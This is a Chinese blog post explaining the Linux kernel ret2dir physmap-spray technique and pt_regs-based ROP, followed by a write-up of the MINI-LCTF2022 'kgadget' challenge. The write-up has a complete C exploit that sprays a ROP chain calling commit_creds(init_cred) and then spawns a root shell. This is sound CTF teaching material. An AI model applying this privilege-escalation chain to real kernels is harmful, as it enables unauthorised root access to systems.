编辑
2023-06-21
Kernel Pwn
00
请注意,本文编写于 586 天前,最后修改于 586 天前,其中某些信息可能已经过时。

目录

KernelPwn - Ret2Dir
简述
内存映射区
利用思路
pt_regs通用稳定ROP
MINI-LCTF2022 - kgadget

😀

KernelPwn - Ret2Dir


简述

Ret2dir是比亚大学网络安全实验室在 2014 年提出的一种内核利用手法 主要弥补了在Ret2usr被封堵之后对于用户态和内核态交互上利用的缺憾 其主要利用的是在Linux内核中的一块内存映射区(direct mapping of all physical memory) 这块内存映射区存在于内核空间之中 且其在64位系统下对于所有的内存页面都有直接映射 在32位系统下有891M映射 如果在攻击者大量喷射页面的情况下 就有可能在访问内存映射区的后半部分时 直接访问到用户态的数据 这就重新构建起内核态和用户态数据交互的通道 如果在可以控制内核程序流的情况下 就有可能利用内核态栈迁移等方法实现提权

内存映射区

根据论文中的描述以及内核文档描述 在地址ffff888000000000的位置有一块64T大小的内存空间 用于直接映射整体的内存页面 此块映射表采用的是LRU(最近最久未使用)算法进行替换操作 在64位情况下基本不存在映射满的情况 但是在32位情况下有可能

论文中采用的内核版本是kernel v3.8.13在当时这块内存区域还拥有可执行权限 所以论文中提到了一种直接喷射大量shellcode 然后在内核态跳上去执行的手法 算是Ret2usr的平替 但是在论文发表之后 随着内核版本的更新 这段区域已经不具有可执行权限 所以Ret2dir手法现在只能用作ROP

利用思路

整体利用思路非常简单 堪称力大砖飞的典范 基本要求是程序流可控

  • 使用mmap大量喷射页面 同时写入ROP Chain
  • 暴力搜索 搜索映射区内存找到写入的ROP Chain
  • 栈迁移到找到的ROP Chain上
  • 提权

当然一般程序内部不会有搜堆的机会 所以可以利用论文中提到的physmap spray手法 直接大量喷射页面 然后随机挑选直接映射区的页面进行栈迁移 在64位情况下根据论文描述 1G内存成功率在65%左右 2G成功率88% 16G成功率96%

pt_regs通用稳定ROP

通常来说系统调用syscall 会进入到entry_SYSCALL_64中根据系统调用表跳转到指定的函数进行系统调用处理 可以稍微看一眼源码

asm
SYM_CODE_START(entry_SYSCALL_64) UNWIND_HINT_ENTRY ENDBR swapgs /* tss.sp2 is scratch space. */ movq %rsp, PER_CPU_VAR(cpu_tss_rw + TSS_sp2) SWITCH_TO_KERNEL_CR3 scratch_reg=%rsp movq PER_CPU_VAR(pcpu_hot + X86_top_of_stack), %rsp SYM_INNER_LABEL(entry_SYSCALL_64_safe_stack, SYM_L_GLOBAL) ANNOTATE_NOENDBR /* Construct struct pt_regs on stack */ pushq $__USER_DS /* pt_regs->ss */ pushq PER_CPU_VAR(cpu_tss_rw + TSS_sp2) /* pt_regs->sp */ pushq %r11 /* pt_regs->flags */ pushq $__USER_CS /* pt_regs->cs */ pushq %rcx /* pt_regs->ip */ SYM_INNER_LABEL(entry_SYSCALL_64_after_hwframe, SYM_L_GLOBAL) pushq %rax /* pt_regs->orig_ax */ PUSH_AND_CLEAR_REGS rax=$-ENOSYS ...

可以看到执行了一条汇编PUSH_AND_CLEAR_REGS rax=$-ENOSYS 此条命令会将所有的寄存器压入栈内 形成pt_regs结构体

c
struct pt_regs { /* * C ABI says these regs are callee-preserved. They aren't saved on kernel entry * unless syscall needs a complete, fully filled "struct pt_regs". */ unsigned long r15; unsigned long r14; unsigned long r13; unsigned long r12; unsigned long rbp; unsigned long rbx; /* These regs are callee-clobbered. Always saved on kernel entry. */ unsigned long r11; unsigned long r10; unsigned long r9; unsigned long r8; unsigned long rax; unsigned long rcx; unsigned long rdx; unsigned long rsi; unsigned long rdi; /* * On syscall entry, this is syscall#. On CPU exception, this is error code. * On hw interrupt, it's IRQ number: */ unsigned long orig_rax; /* Return frame for iretq */ unsigned long rip; unsigned long cs; unsigned long eflags; unsigned long rsp; unsigned long ss; /* top of stack page */ };

众所周知 内核栈大小为一页 而栈是高地址向低地址生长 所以如果我们不在乎系统调用之后的返回情况的话 在系统调用之前使用汇编对寄存器写入我们想要ROP的地址 然后寻找一条add rsp,$value; ret的指令 直接将栈抬到pt_regs结构体的位置 那么就可以实现通用可控的ROP

MINI-LCTF2022 - kgadget

文件结构还是老样子

开启了smep smap所以不能使用ret2usr 但是没有开启kaslr 也就是说不需要泄漏内核基址

sh
#!/bin/sh qemu-system-x86_64 \ -m 256M \ -cpu kvm64,+smep,+smap \ -smp cores=2,threads=2 \ -kernel bzImage \ -initrd ./rootfs.cpio \ -nographic \ -monitor /dev/null \ -snapshot \ -append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \ -no-reboot

整体流程很简单 如果传入的控制码为0x1BF52 那么就跳转到传入的参数处执行 那么可以思考一下上述说过的Ret2dir手法 现在已经可以控制程序执行流了 那么如果我们页喷ROP Chain的话 是不是就有可能在Direct mapping arena找到呢

通过汇编可以发现 最后是调用call [rbx] 但是目前有一个问题就是 虽然目前可以控制程序流 但是一条指令是没有办法实现栈迁移的 而且目前只能控制程序流 控制不了当前的内核栈 这里就要用到通用的ROP手法pt_regs

因为没有开启地址随机化 所以可以直接去掉kptr_restrict 然后去/proc/kallsyms拿到所有函数地址

sh
#!/bin/sh chown -R 0:0 / mount -t tmpfs tmpfs /tmp mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs devtmpfs /dev echo 1 > /proc/sys/kernel/dmesg_restrict # echo 1 > /proc/sys/kernel/kptr_restrict chown 0:0 /flag chmod 400 /flag chmod 777 /tmp insmod kgadget.ko chmod 777 /dev/kgadget cat /root/banner echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" setsid cttyhack setuidgid 0 sh poweroff -d 0 -f

bzImage提取vmlinux 这样就可以从内核中寻找gadget了

虽然没有找到swapgs; itreq的组合 但是可以通用调用swapgs_restore_regs_and_return_to_usermode 起始点指向mov rdi,rsp即可

那么EXP就很简单了 构造ROP Chain 然后页喷 然后构造pt_regs结构体 最后通用调用即可

c
#include <sys/types.h> #include <stdio.h> #include <pthread.h> #include <errno.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <poll.h> #include <string.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sys/sem.h> #include <semaphore.h> // gcc exp.c -o exp -static -masm=intel -g size_t commit_creds = 0xffffffff810c92e0; size_t init_cred = 0xffffffff82a6b700; size_t prepare_kernel_cred = 0xffffffff810c9540; size_t pop_rdi_ret = 0xffffffff8108c6f0; size_t push_rax = 0xffffffff810048ea; size_t swapgs = 0xffffffff81c00fcb; size_t pop_rsp_ret = 0xffffffff811483d0; size_t ret = 0xffffffff8108c6f1; size_t add_rsp_0xa0_pop_rbx_pop_rbp_ret = 0xffffffff811581b2; size_t add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret = 0xffffffff810737fe; size_t user_cs, user_ss, user_rflags, user_sp; size_t try_hit; size_t fd; void saveStatus() { __asm__("mov user_cs,cs;" "mov user_ss,ss;" "mov user_sp,rsp;" "pushf;" "pop user_rflags;" ); puts("Status has been saved...\n"); } void spawn_shell() { system("/bin/sh"); exit(0); } int main(void) { saveStatus(); fd = open("/dev/kgadget", O_RDWR); size_t *ptr; size_t ROP[0x100]; int j = 0; ROP[j++] = add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret; ROP[j++] = add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret; for( ; j < 0x1000 / 8 - 0x100; j++) { ROP[j] = ret; } ROP[j++] = pop_rdi_ret; ROP[j++] = init_cred; ROP[j++] = commit_creds; ROP[j++] = swapgs; ROP[j++] = 0; ROP[j++] = 0; ROP[j++] = spawn_shell; ROP[j++] = user_cs; ROP[j++] = user_rflags; ROP[j++] = user_sp; ROP[j++] = user_ss; for (int i, j = 0; i < 15000; i++) { ptr = (size_t*) mmap(NULL, 0x1000 , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); memcpy(ptr, ROP, 0x1000); } try_hit = 0xffff888000000000 + 0x7000000; __asm__( "mov r15, 0xbeefdead;" "mov r14, 0x11111111;" "mov r13, 0x22222222;" "mov r12, 0x33333333;" "mov rbp, 0x44444444;" "mov rbx, 0x55555555;" "mov r11, 0x66666666;" "mov r10, 0x77777777;" "mov r9, pop_rsp_ret;" // stack migration again "mov r8, try_hit;" "mov rax, 0x10;" "mov rcx, 0xaaaaaaaa;" "mov rdx, try_hit;" "mov rsi, 0x1bf52;" "mov rdi, fd;" "syscall" ); }

本文作者:Du4t

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!